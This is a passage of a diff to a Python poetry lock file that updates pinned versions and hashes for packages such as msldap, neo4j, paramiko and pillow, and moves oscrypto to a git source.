"msgpack-1.0.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4916727e31c28be8beaf11cf117d6f6f188dcc36daae4e851fee88646f5b6b18"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7938111ed1358f536daf311be244f34df7bf3cdedb3ed883787aca97778b28d8"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:493c5c5e44b06d6c9268ce21b302c9ca055c1fd3484c25ba41d34476c76ee746"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5fbb160554e319f7b22ecf530a80a3ff496d38e8e07ae763b9e82fadfe96f273"}, - {file = "msgpack-1.0.8-cp39-cp39-win32.whl", hash = "sha256:f9af38a89b6a5c04b7d18c492c8ccf2aee7048aff1ce8437c4683bb5a1df893d"}, - {file = "msgpack-1.0.8-cp39-cp39-win_amd64.whl", hash = "sha256:ed59dd52075f8fc91da6053b12e8c89e37aa043f8986efd89e61fae69dc1b011"}, - {file = "msgpack-1.0.8.tar.gz", hash = "sha256:95c02b0e27e706e48d0e5426d1710ca78e0f0628d6e89d5b5a5b91a5f12274f3"}, -] - [[package]] name = "msldap" -version = "0.5.10" +version = "0.5.14" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"}, - {file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"}, + {file = "msldap-0.5.14-py3-none-any.whl", hash = "sha256:5f04edf85323d816d57adb1793a3d3c2784dd20174888304103731c7289e1490"}, + {file = "msldap-0.5.14.tar.gz", hash = "sha256:66f3cb68efe000b221a88cec3faf3b1119a4911b101838839a116ccd15fb6254"}, ] [package.dependencies] @@ -1340,21 +1350,22 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "5.22.0" +version = "5.28.1" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ - {file = "neo4j-5.22.0-py3-none-any.whl", hash = "sha256:8146755ac93d33cee594975172c15cffb68ab158e3358bb7a73b5e0b83367006"}, - {file = "neo4j-5.22.0.tar.gz", hash = "sha256:199677239ce11fcecabce9962af515df271c1313ba110e737dd7d668fccd0c04"}, + {file = "neo4j-5.28.1-py3-none-any.whl", hash = "sha256:6755ef9e5f4e14b403aef1138fb6315b120631a0075c138b5ddb2a06b87b09fd"}, + {file = "neo4j-5.28.1.tar.gz", hash = "sha256:ae8e37a1d895099062c75bc359b2cce62099baac7be768d0eba7180c1298e214"}, ] [package.dependencies] pytz = "*" [package.extras] -numpy = ["numpy (>=1.7.0,<2.0.0)"] -pandas = ["numpy (>=1.7.0,<2.0.0)", "pandas (>=1.1.0,<3.0.0)"] +numpy = ["numpy (>=1.7.0,<3.0.0)"] +pandas = ["numpy (>=1.7.0,<3.0.0)", "pandas (>=1.1.0,<3.0.0)"] pyarrow = ["pyarrow (>=1.0.0)"] [[package]] @@ -1363,6 +1374,7 @@ version = "1.3.0" description = "A network address manipulation library for Python" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "netaddr-1.3.0-py3-none-any.whl", hash = "sha256:c2c6a8ebe5554ce33b7d5b3a306b71bbb373e000bbbf2350dd5213cc56e3dbbe"}, {file = "netaddr-1.3.0.tar.gz", hash = "sha256:5c3c3d9895b551b763779ba7db7a03487dc1f8e3b385af819af341ae9ef6e48a"}, @@ -1377,34 +1389,41 @@ version = "1.3.0" description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." optional = false python-versions = "*" -files = [ - {file = "oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085"}, - {file = "oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4"}, -] +groups = ["main"] +files = [] +develop = false [package.dependencies] asn1crypto = ">=1.5.1" +[package.source] +type = "git" +url = "https://github.com/wbond/oscrypto" +reference = "HEAD" +resolved_reference = "1547f535001ba568b239b8797465536759c742a3" + [[package]] name = "packaging" -version = "24.1" +version = "24.2" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ - {file = "packaging-24.1-py3-none-any.whl", hash = "sha256:5b8f2217dbdbd2f7f384c41c628544e6d52f2d0f53c6d0c3ea61aa5d1d7ff124"}, - {file = "packaging-24.1.tar.gz", hash = "sha256:026ed72c8ed3fcce5bf8950572258698927fd1dbda10a5e981cdf0ac37f4f002"}, + {file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, + {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, ] [[package]] name = "paramiko" -version = "3.4.0" +version = "3.5.1" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"}, - {file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"}, + {file = "paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61"}, + {file = "paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822"}, ] [package.dependencies] @@ -1413,116 +1432,109 @@ cryptography = ">=3.3" pynacl = ">=1.5" [package.extras] -all = ["gssapi (>=1.4.1)", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"] -gssapi = ["gssapi (>=1.4.1)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8)"] +all = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] +gssapi = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] invoke = ["invoke (>=2.0)"] [[package]] name = "pillow" -version = "10.4.0" +version = "11.1.0" description = "Python Imaging Library (Fork)" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "pillow-10.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:4d9667937cfa347525b319ae34375c37b9ee6b525440f3ef48542fcf66f2731e"}, - {file = "pillow-10.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:543f3dc61c18dafb755773efc89aae60d06b6596a63914107f75459cf984164d"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7928ecbf1ece13956b95d9cbcfc77137652b02763ba384d9ab508099a2eca856"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4d49b85c4348ea0b31ea63bc75a9f3857869174e2bf17e7aba02945cd218e6f"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6c762a5b0997f5659a5ef2266abc1d8851ad7749ad9a6a5506eb23d314e4f46b"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a985e028fc183bf12a77a8bbf36318db4238a3ded7fa9df1b9a133f1cb79f8fc"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:812f7342b0eee081eaec84d91423d1b4650bb9828eb53d8511bcef8ce5aecf1e"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac1452d2fbe4978c2eec89fb5a23b8387aba707ac72810d9490118817d9c0b46"}, - {file = "pillow-10.4.0-cp310-cp310-win32.whl", hash = "sha256:bcd5e41a859bf2e84fdc42f4edb7d9aba0a13d29a2abadccafad99de3feff984"}, - {file = "pillow-10.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:ecd85a8d3e79cd7158dec1c9e5808e821feea088e2f69a974db5edf84dc53141"}, - {file = "pillow-10.4.0-cp310-cp310-win_arm64.whl", hash = "sha256:ff337c552345e95702c5fde3158acb0625111017d0e5f24bf3acdb9cc16b90d1"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:0a9ec697746f268507404647e531e92889890a087e03681a3606d9b920fbee3c"}, - {file = "pillow-10.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe"}, - {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d"}, - {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696"}, - {file = "pillow-10.4.0-cp311-cp311-win32.whl", hash = "sha256:7086cc1d5eebb91ad24ded9f58bec6c688e9f0ed7eb3dbbf1e4800280a896496"}, - {file = "pillow-10.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cbed61494057c0f83b83eb3a310f0bf774b09513307c434d4366ed64f4128a91"}, - {file = "pillow-10.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:f5f0c3e969c8f12dd2bb7e0b15d5c468b51e5017e01e2e867335c81903046a22"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:673655af3eadf4df6b5457033f086e90299fdd7a47983a13827acf7459c15d94"}, - {file = "pillow-10.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866b6942a92f56300012f5fbac71f2d610312ee65e22f1aa2609e491284e5597"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29dbdc4207642ea6aad70fbde1a9338753d33fb23ed6956e706936706f52dd80"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf2342ac639c4cf38799a44950bbc2dfcb685f052b9e262f446482afaf4bffca"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:f5b92f4d70791b4a67157321c4e8225d60b119c5cc9aee8ecf153aace4aad4ef"}, - {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:86dcb5a1eb778d8b25659d5e4341269e8590ad6b4e8b44d9f4b07f8d136c414a"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:780c072c2e11c9b2c7ca37f9a2ee8ba66f44367ac3e5c7832afcfe5104fd6d1b"}, - {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37fb69d905be665f68f28a8bba3c6d3223c8efe1edf14cc4cfa06c241f8c81d9"}, - {file = "pillow-10.4.0-cp312-cp312-win32.whl", hash = "sha256:7dfecdbad5c301d7b5bde160150b4db4c659cee2b69589705b6f8a0c509d9f42"}, - {file = "pillow-10.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d846aea995ad352d4bdcc847535bd56e0fd88d36829d2c90be880ef1ee4668a"}, - {file = "pillow-10.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:e553cad5179a66ba15bb18b353a19020e73a7921296a7979c4a2b7f6a5cd57f9"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8bc1a764ed8c957a2e9cacf97c8b2b053b70307cf2996aafd70e91a082e70df3"}, - {file = "pillow-10.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6209bb41dc692ddfee4942517c19ee81b86c864b626dbfca272ec0f7cff5d9fb"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee197b30783295d2eb680b311af15a20a8b24024a19c3a26431ff83eb8d1f70"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ef61f5dd14c300786318482456481463b9d6b91ebe5ef12f405afbba77ed0be"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:297e388da6e248c98bc4a02e018966af0c5f92dfacf5a5ca22fa01cb3179bca0"}, - {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e4db64794ccdf6cb83a59d73405f63adbe2a1887012e308828596100a0b2f6cc"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd2880a07482090a3bcb01f4265f1936a903d70bc740bfcb1fd4e8a2ffe5cf5a"}, - {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b35b21b819ac1dbd1233317adeecd63495f6babf21b7b2512d244ff6c6ce309"}, - {file = "pillow-10.4.0-cp313-cp313-win32.whl", hash = "sha256:551d3fd6e9dc15e4c1eb6fc4ba2b39c0c7933fa113b220057a34f4bb3268a060"}, - {file = "pillow-10.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:030abdbe43ee02e0de642aee345efa443740aa4d828bfe8e2eb11922ea6a21ea"}, - {file = "pillow-10.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b001114dd152cfd6b23befeb28d7aee43553e2402c9f159807bf55f33af8a8d"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8d4d5063501b6dd4024b8ac2f04962d661222d120381272deea52e3fc52d3736"}, - {file = "pillow-10.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c1ee6f42250df403c5f103cbd2768a28fe1a0ea1f0f03fe151c8741e1469c8b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15e02e9bb4c21e39876698abf233c8c579127986f8207200bc8a8f6bb27acf2"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a8d4bade9952ea9a77d0c3e49cbd8b2890a399422258a77f357b9cc9be8d680"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:43efea75eb06b95d1631cb784aa40156177bf9dd5b4b03ff38979e048258bc6b"}, - {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:950be4d8ba92aca4b2bb0741285a46bfae3ca699ef913ec8416c1b78eadd64cd"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d7480af14364494365e89d6fddc510a13e5a2c3584cb19ef65415ca57252fb84"}, - {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:73664fe514b34c8f02452ffb73b7a92c6774e39a647087f83d67f010eb9a0cf0"}, - {file = "pillow-10.4.0-cp38-cp38-win32.whl", hash = "sha256:e88d5e6ad0d026fba7bdab8c3f225a69f063f116462c49892b0149e21b6c0a0e"}, - {file = "pillow-10.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:5161eef006d335e46895297f642341111945e2c1c899eb406882a6c61a4357ab"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0ae24a547e8b711ccaaf99c9ae3cd975470e1a30caa80a6aaee9a2f19c05701d"}, - {file = "pillow-10.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:298478fe4f77a4408895605f3482b6cc6222c018b2ce565c2b6b9c354ac3229b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:134ace6dc392116566980ee7436477d844520a26a4b1bd4053f6f47d096997fd"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:930044bb7679ab003b14023138b50181899da3f25de50e9dbee23b61b4de2126"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c76e5786951e72ed3686e122d14c5d7012f16c8303a674d18cdcd6d89557fc5b"}, - {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b2724fdb354a868ddf9a880cb84d102da914e99119211ef7ecbdc613b8c96b3c"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dbc6ae66518ab3c5847659e9988c3b60dc94ffb48ef9168656e0019a93dbf8a1"}, - {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06b2f7898047ae93fad74467ec3d28fe84f7831370e3c258afa533f81ef7f3df"}, - {file = "pillow-10.4.0-cp39-cp39-win32.whl", hash = "sha256:7970285ab628a3779aecc35823296a7869f889b8329c16ad5a71e4901a3dc4ef"}, - {file = "pillow-10.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:961a7293b2457b405967af9c77dcaa43cc1a8cd50d23c532e62d48ab6cdd56f5"}, - {file = "pillow-10.4.0-cp39-cp39-win_arm64.whl", hash = "sha256:32cda9e3d601a52baccb2856b8ea1fc213c90b340c542dcef77140dfa3278a9e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5b4815f2e65b30f5fbae9dfffa8636d992d49705723fe86a3661806e069352d4"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8f0aef4ef59694b12cadee839e2ba6afeab89c0f39a3adc02ed51d109117b8da"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f4727572e2918acaa9077c919cbbeb73bd2b3ebcfe033b72f858fc9fbef0026"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff25afb18123cea58a591ea0244b92eb1e61a1fd497bf6d6384f09bc3262ec3e"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dc3e2db6ba09ffd7d02ae9141cfa0ae23393ee7687248d46a7507b75d610f4f5"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:02a2be69f9c9b8c1e97cf2713e789d4e398c751ecfd9967c18d0ce304efbf885"}, - {file = "pillow-10.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0755ffd4a0c6f267cccbae2e9903d95477ca2f77c4fcf3a3a09570001856c8a5"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a02364621fe369e06200d4a16558e056fe2805d3468350df3aef21e00d26214b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:1b5dea9831a90e9d0721ec417a80d4cbd7022093ac38a568db2dd78363b00908"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b885f89040bb8c4a1573566bbb2f44f5c505ef6e74cec7ab9068c900047f04b"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87dd88ded2e6d74d31e1e0a99a726a6765cda32d00ba72dc37f0651f306daaa8"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2db98790afc70118bd0255c2eeb465e9767ecf1f3c25f9a1abb8ffc8cfd1fe0a"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f7baece4ce06bade126fb84b8af1c33439a76d8a6fd818970215e0560ca28c27"}, - {file = "pillow-10.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cfdd747216947628af7b259d274771d84db2268ca062dd5faf373639d00113a3"}, - {file = "pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06"}, + {file = "pillow-11.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:e1abe69aca89514737465752b4bcaf8016de61b3be1397a8fc260ba33321b3a8"}, + {file = "pillow-11.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c640e5a06869c75994624551f45e5506e4256562ead981cce820d5ab39ae2192"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a07dba04c5e22824816b2615ad7a7484432d7f540e6fa86af60d2de57b0fcee2"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e267b0ed063341f3e60acd25c05200df4193e15a4a5807075cd71225a2386e26"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:bd165131fd51697e22421d0e467997ad31621b74bfc0b75956608cb2906dda07"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:abc56501c3fd148d60659aae0af6ddc149660469082859fa7b066a298bde9482"}, + {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:54ce1c9a16a9561b6d6d8cb30089ab1e5eb66918cb47d457bd996ef34182922e"}, + {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73ddde795ee9b06257dac5ad42fcb07f3b9b813f8c1f7f870f402f4dc54b5269"}, + {file = "pillow-11.1.0-cp310-cp310-win32.whl", hash = "sha256:3a5fe20a7b66e8135d7fd617b13272626a28278d0e578c98720d9ba4b2439d49"}, + {file = "pillow-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:b6123aa4a59d75f06e9dd3dac5bf8bc9aa383121bb3dd9a7a612e05eabc9961a"}, + {file = "pillow-11.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:a76da0a31da6fcae4210aa94fd779c65c75786bc9af06289cd1c184451ef7a65"}, + {file = "pillow-11.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e06695e0326d05b06833b40b7ef477e475d0b1ba3a6d27da1bb48c23209bf457"}, + {file = "pillow-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96f82000e12f23e4f29346e42702b6ed9a2f2fea34a740dd5ffffcc8c539eb35"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3cd561ded2cf2bbae44d4605837221b987c216cff94f49dfeed63488bb228d2"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f189805c8be5ca5add39e6f899e6ce2ed824e65fb45f3c28cb2841911da19070"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:dd0052e9db3474df30433f83a71b9b23bd9e4ef1de13d92df21a52c0303b8ab6"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:837060a8599b8f5d402e97197d4924f05a2e0d68756998345c829c33186217b1"}, + {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aa8dd43daa836b9a8128dbe7d923423e5ad86f50a7a14dc688194b7be5c0dea2"}, + {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0a2f91f8a8b367e7a57c6e91cd25af510168091fb89ec5146003e424e1558a96"}, + {file = "pillow-11.1.0-cp311-cp311-win32.whl", hash = "sha256:c12fc111ef090845de2bb15009372175d76ac99969bdf31e2ce9b42e4b8cd88f"}, + {file = "pillow-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd43429d0d7ed6533b25fc993861b8fd512c42d04514a0dd6337fb3ccf22761"}, + {file = "pillow-11.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:f7955ecf5609dee9442cbface754f2c6e541d9e6eda87fad7f7a989b0bdb9d71"}, + {file = "pillow-11.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2062ffb1d36544d42fcaa277b069c88b01bb7298f4efa06731a7fd6cc290b81a"}, + {file = "pillow-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a85b653980faad27e88b141348707ceeef8a1186f75ecc600c395dcac19f385b"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9409c080586d1f683df3f184f20e36fb647f2e0bc3988094d4fd8c9f4eb1b3b3"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fdadc077553621911f27ce206ffcbec7d3f8d7b50e0da39f10997e8e2bb7f6a"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:93a18841d09bcdd774dcdc308e4537e1f867b3dec059c131fde0327899734aa1"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9aa9aeddeed452b2f616ff5507459e7bab436916ccb10961c4a382cd3e03f47f"}, + {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3cdcdb0b896e981678eee140d882b70092dac83ac1cdf6b3a60e2216a73f2b91"}, + {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36ba10b9cb413e7c7dfa3e189aba252deee0602c86c309799da5a74009ac7a1c"}, + {file = "pillow-11.1.0-cp312-cp312-win32.whl", hash = "sha256:cfd5cd998c2e36a862d0e27b2df63237e67273f2fc78f47445b14e73a810e7e6"}, + {file = "pillow-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:a697cd8ba0383bba3d2d3ada02b34ed268cb548b369943cd349007730c92bddf"}, + {file = "pillow-11.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:4dd43a78897793f60766563969442020e90eb7847463eca901e41ba186a7d4a5"}, + {file = "pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc"}, + {file = "pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114"}, + {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352"}, + {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3"}, + {file = "pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9"}, + {file = "pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c"}, + {file = 